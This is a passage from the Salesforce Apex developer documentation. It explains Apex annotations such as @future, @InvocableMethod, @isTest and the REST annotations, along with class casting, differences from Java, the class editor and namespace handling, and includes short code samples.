• @SuppressWarnings
• @TestSetup
• @TestVisible
• Apex REST annotations:
– @RestResource(urlMapping='/yourUrl')
– @HttpDelete
– @HttpGet
– @HttpPatch
– @HttpPost
– @HttpPut
IN THIS SECTION:
1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
6. IsTest Annotation
7. ReadOnly Annotation
8. RemoteAction Annotation
9. SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third party tools.
10. TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test
methods in the class.
11. TestVisible Annotation
12. Apex REST Annotations
AuraEnabled Annotation
The @AuraEnabled annotation enables client- and server-side access to an Apex controller method. Providing this annotation makes
your methods available to your Lightning components. Only methods with this annotation are exposed. For more information, see the
Lightning Components Developer's Guide.
81
Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed
packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations.
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
Note the following rules when deprecating Apex identifiers:

• Unmanaged packages cannot contain code that uses the deprecated keyword.
• When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
• webservice methods and variables cannot be deprecated.
• You can deprecate an enum but you cannot deprecate individual enum values.
• You can deprecate an interface but you cannot deprecate individual methods in an interface.
• You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
• You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version
where that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 613.
Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes
when Salesforce has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}
82
To allow callouts in a future method, specify (callout=true). The default is (callout=false), which prevents a method
from making callouts.
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
//Add code to perform callout
}
Future Method Considerations

• Remember that any method using the future annotation requires special consideration because the method does not necessarily
execute in the same order it is called.
• Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName
methods, nor in the constructor.
• You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.
InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
Invocable methods are called with the REST API and used to invoke a single Apex method. Invocable methods have dynamic input and
output values and support describe calls.
The following code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.')
public static List<String> getAccountNames(List<ID> ids) {
List<String> accountNames = new List<String>();
List<Account> accounts = [SELECT Name FROM Account WHERE Id in :ids];
for (Account account : accounts) {
accountNames.add(account.Name);
}
return accountNames;
}
}
This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label='Insert Accounts' description='Inserts the accounts specified and
returns the IDs of the new accounts.')
public static List<ID> insertAccounts(List<Account> accounts) {
Database.SaveResult[] results = Database.insert(accounts);
List<ID> accountIds = new List<ID>();
for (Database.SaveResult result : results) {
if (result.isSuccess()) {
accountIds.add(result.getId());
}
}
return accountIds;
83
}
}
Invocable Method Considerations

Implementation Notes
• The invocable method must be static and public or global, and its class must be an outer class.
• Only one method in a class can have the InvocableMethod annotation.
• Triggers can’t reference invocable methods.
• Other annotations can’t be used with the InvocableMethod annotation.
Inputs and Outputs
There can be at most one input parameter and its data type must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
• A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
• A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
If the return type is not Null, the data type returned by the method must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type is not supported.
• A list of an sObject type or a list of lists of an sObject type – the generic sObject type is not supported.
• A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
Managed Packages
• You can use invocable methods in packages, but once you add an invocable method you can’t remove it from later versions of
the package.
• Public invocable methods can be referred to by flows and processes within the managed package.
• Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in the Cloud
Flow Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
method’s invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
The following code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
84
for (ConvertLeadActionRequest request : requests) {

results.add(convertLead(request));
}
return results;
}
public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {

Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(request.leadId);
lc.setConvertedStatus(request.convertedStatus);
if (request.accountId != null) {
lc.setAccountId(request.accountId);
}
if (request.contactId != null) {
lc.setContactId(request.contactId);
}
if (request.overWriteLeadSource != null && request.overWriteLeadSource) {

lc.setOverwriteLeadSource(request.overWriteLeadSource);
}
if (request.createOpportunity != null && !request.createOpportunity) {

lc.setDoNotCreateOpportunity(!request.createOpportunity);
}
if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}
if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}
if (request.sendEmailToOwner != null && request.sendEmailToOwner) {

lc.setSendNotificationEmail(request.sendEmailToOwner);
}
Database.LeadConvertResult lcr = Database.convertLead(lc, true);

if (lcr.isSuccess()) {
ConvertLeadActionResult result = new ConvertLeadActionResult();
result.accountId = lcr.getAccountId();
result.contactId = lcr.getContactId();
result.opportunityId = lcr.getOpportunityId();
return result;
} else {
throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
}
}
global class ConvertLeadActionRequest {

@InvocableVariable(required=true)
global ID leadId;
85
@InvocableVariable(required=true)
global String convertedStatus;
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global Boolean overWriteLeadSource;
@InvocableVariable
global Boolean createOpportunity;
@InvocableVariable
global String opportunityName;
@InvocableVariable
global ID ownerId;
@InvocableVariable
global Boolean sendEmailToOwner;
}
global class ConvertLeadActionResult {

@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global ID opportunityId;
}
class ConvertLeadActionException extends Exception {}

}
InvocableVariable Modifiers
The invocable variable annotation has three available modifiers, as shown in this example.
@InvocableVariable(label='yourLabel' description='yourDescription' required=(true |
false))
All modifiers are optional.
label
The label for the variable. The default is the variable name.
description
The description for the variable. The default is Null.
86
required
Whether the variable is required. If not specified, the default is false. The value is ignored for output variables.
InvocableVariable Considerations
• Other annotations can’t be used with the InvocableVariable annotation.
• Only global and public variables can be invocable variables.
• The invocable variable can’t be one of the following:
– A type such as an interface, class, or enum.
– A non-member variable such as a static or local variable.
– A property.
– A final variable.
– Protected or private.
• The data type of the invocable variable must be one of the following:
– A primitive data type or a list of a primitive data type – the generic Object type is not supported.
– An sObject type or a list of an sObject type – the generic sObject type is not supported.
• For managed packages:

– Public invocable variables can be set in flows and processes within the same managed package.
– Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in the Cloud Flow
Designer and Process Builder in the subscriber org.
For more information about invocable actions, see Force.com Actions Developer’s Guide.
IsTest Annotation
Use the @isTest annotation to define classes and methods that only contain code used for testing your application. The @isTest
annotation on methods is equivalent to the testMethod keyword. The @isTest annotation can take multiple modifiers within
parentheses and separated by blanks.
Classes and methods defined as @isTest can be either private or public. Classes defined as @isTest must be top-level
classes.
Note: Classes defined with the @isTest annotation don't count against your organization limit of 3 MB for all Apex code.
Here is an example of a private test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing

@isTest static void test1() {
// Implement test code
}

87
Here is an example of a public test class that contains utility methods for test data creation:
@isTest
public class TestUtil {
public static void createTestAccounts() {

// Create some test accounts
}
public static void createTestContacts() {

// Create some test contacts
}
Classes defined as @isTest can't be interfaces or enums.

Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't
be called by a non-test request.. To learn about the various ways you can run test methods, see Run Unit Test Methods.
@IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the @isTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization, including pre-existing data that the test didn’t create. Starting
with Apex code saved using Salesforce API version 24.0, test methods don’t have access by default to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization and its
data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 580.
Considerations for the @IsTest(SeeAllData=true) Annotation
• If a test class is defined with the @isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the (deprecated) testMethod keyword.
• The @isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, if the containing class has been annotated with @isTest(SeeAllData=true), annotating a method with
@isTest(SeeAllData=false) is ignored for that method. In this case, that method still has access to all the data in
the organization. Annotating a method with @isTest(SeeAllData=true) overrides, for that method, an
@isTest(SeeAllData=false) annotation on the class.
This example shows how to define a test class with the @isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.

// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
88
// Create a test account based on the queried account.

Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.

Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
This second example shows how to apply the @isTest(SeeAllData=true) annotation on a test method. Because the class
that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method to enable
access to all data for that test method. The second test method doesn’t have this annotation, so it can access only the data it creates in
addition to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.

static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates

// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.

Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
89
@IsTest(OnInstall=true) Annotation
Use the @IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation
must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A
test method or a class that doesn't have this annotation, or that is annotated with @isTest(OnInstall=false) or @isTest,
won't be executed during installation.
This example shows how to annotate a test method that is executed during package installation. In this example, test1 is executed
but test2 and test3 is not.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@isTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@isTest(OnInstall=true)
static void test1() {
// Some test code
}
// Tests excluded from running during the

// the installation of a package.
@isTest
static void test2() {
// Some test code
}
static testmethod void test3() {

// Some test code
}
}
@IsTest(isParallel=true) Annotation
Use the @isTest(isParallel=true) annotation to indicate test classes that can run in parallel and aren’t restricted by the
default limits on the number of concurrent tests. This annotation makes the execution of test classes more efficient, because more tests
can be run in parallel.
This annotation overrides settings that disable parallel testing. A test class that doesn’t have this annotation is restricted by the default
limits on the number of concurrent tests.
ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's
important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing
90
the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future,
and sending emails.
The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation,
the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web
service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
<apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.
RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);
Table 1: Remote Request Elements

Element Description
namespace The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
controller The name of your Apex controller.
method The name of the Apex method you’re calling.
parameters A comma-separated list of parameters that your method takes.
callbackFunction The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex method’s response.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
Apex @RemoteAction methods must be static and either global or public.

Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify
91
actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult,
UpsertResult, DeleteResult, SelectOption, or PageReference.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third party tools.
The @SuppressWarnings annotation does nothing in Apex but can be used to provide information to third party tools.
TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test methods
in the class.
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Note: You can have only one test setup method per test class.
Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access
to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods aren’t supported in this class.
Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
For more information, see Using Test Setup Methods.
TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test
class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level
for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to
access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it should
be accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;
// Private method
92
@TestVisible private static void updateRecord(String name) {

// Do something
}
}
This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and method.
@isTest
private class TestVisibleExampleTest {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);
// Access private method annotated with TestVisible

TestVisibleExample.updateRecord('RecordName');
// Perform some verification
}
}
Apex REST Annotations

Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut
IN THIS SECTION:
1. RestResource Annotation
2. HttpDelete Annotation
3. HttpGet Annotation
4. HttpPatch Annotation
5. HttpPost Annotation
6. HttpPut Annotation
RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
These are some considerations when using this annotation:
• The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
• A wildcard character (*) may be used.
• The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not
My_Url.
93
• To use this annotation, your Apex class must be defined as global.
URL Guidelines
URL path mappings are as follows:
• The path must begin with a '/'
• If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed
by '/'
The rules for mapping URLs are:
• An exact match always wins.
• If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
• If no wildcard match is found, an HTTP response status code 404 is returned.
The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.
HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
• To use this annotation, your Apex method must be defined as global static.
• Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.
HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
94
HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.
Classes and Casting

In general, all type information is available at run time. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a subclass of the other class. Use casting when you want to convert an
object from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a subclass of that class. This means that you
can use casting to assign objects with the parent data type (Report) to the objects of the subclass data type (CustomReport).
public virtual class Report {
}
public class CustomReport extends Report {

}
In the following code segment, a custom report object is first added to a list of report objects. Then the custom report object is returned
as a report object, which is then cast back into a custom report object.
...
// Create a list of report objects
Report[] Reports = new Report[5];
// Create a custom report object

CustomReport a = new CustomReport();
// Because the custom report is a sub class of the Report class,

// you can add the custom report object a to the list of report objects
Reports.add(a);
// The following is not legal:

// CustomReport c = Reports.get(0);
// because the compiler does not know that what you are
// returning is a custom report.
// You must use cast to tell it that you know what

// type you are returning. Instead, get the first item in the list
// by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
...
95
Casting Example
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 76.
IN THIS SECTION:
1. Classes and Collections
2. Collection Casting
Classes and Collections

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for
example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined
objects.
If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an
interface i1, and MyC implements i1, then MyC can be placed in the list.
SEE ALSO:
Using Custom Types in Map Keys and Sets
96
Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {
Public class CustomerPurchaseOrder extends PurchaseOrder {
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}
Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder objects.
A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map. If the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.
Differences Between Apex Classes and Java Classes

Apex classes and Java classes work in similar ways, but there are some significant differences.
These are the major differences between Apex classes and Java classes:
• Inner classes and interfaces can only be declared one level deep inside an outer class.
• Static methods and variables can only be declared in a top-level class definition, not in an inner class.
• An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
• The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
• Specifying no access modifier for a method or variable and the private access modifier are synonymous.
• The public access modifier means the method or variable can be used by any Apex in this application or namespace.
• The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
• Methods and classes are final by default.
– The virtual definition modifier allows extension and overrides.
97
– The override keyword must be used explicitly on methods that override base class methods.
• Interface methods have no modifiers—they are always global.

• Exception classes must extend either exception or another user-defined exception.
– Their names must end with the word exception.
– Exception classes have four implicit constructors that are built-in, although you can add others.
• Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
SEE ALSO:
Exceptions in Apex
Class Definition Creation

Use the class editor to create a class in Salesforce.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default
values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments,
test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing
your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from
a WSDL Document on page 479.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.
The Apex Class Editor

The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
98
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )

Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
IN THIS SECTION:
1. Naming Conventions
2. Name Shadowing
Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.
Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}
Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
99
to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations.
After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom
object and field names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c
Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is
marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the
namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified.
Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those
objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from the AppExchange.
Using Namespaces When Invoking Package Methods

To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)
IN THIS SECTION:
1. Using the System Namespace
2. Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import
Schema.*, but you must fully qualify your uses of Schema namespace elements when they have naming conflicts with items
in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace
prefix to the sObject name in your code.
3. Namespace, Class, and Variable Name Precedence
100
4. Type Resolution and System Namespace for Types
Using the System Namespace

The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance
of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of
these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('https://yourInstance.salesforce.com/');
And:
URL url1 = new URL('https://yourInstance.salesforce.com/');
Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();
Or:
URL.getCurrentRequestUrl();
Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.
Using the System Namespace for Disambiguation

It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you
must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your
organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime defaults to your custom
class and calls the methods in your class. Let’s take a look at the following example.
Create this custom Apex class:
public class Database {
public static String query() {
return 'wherefore art thou namespace?';
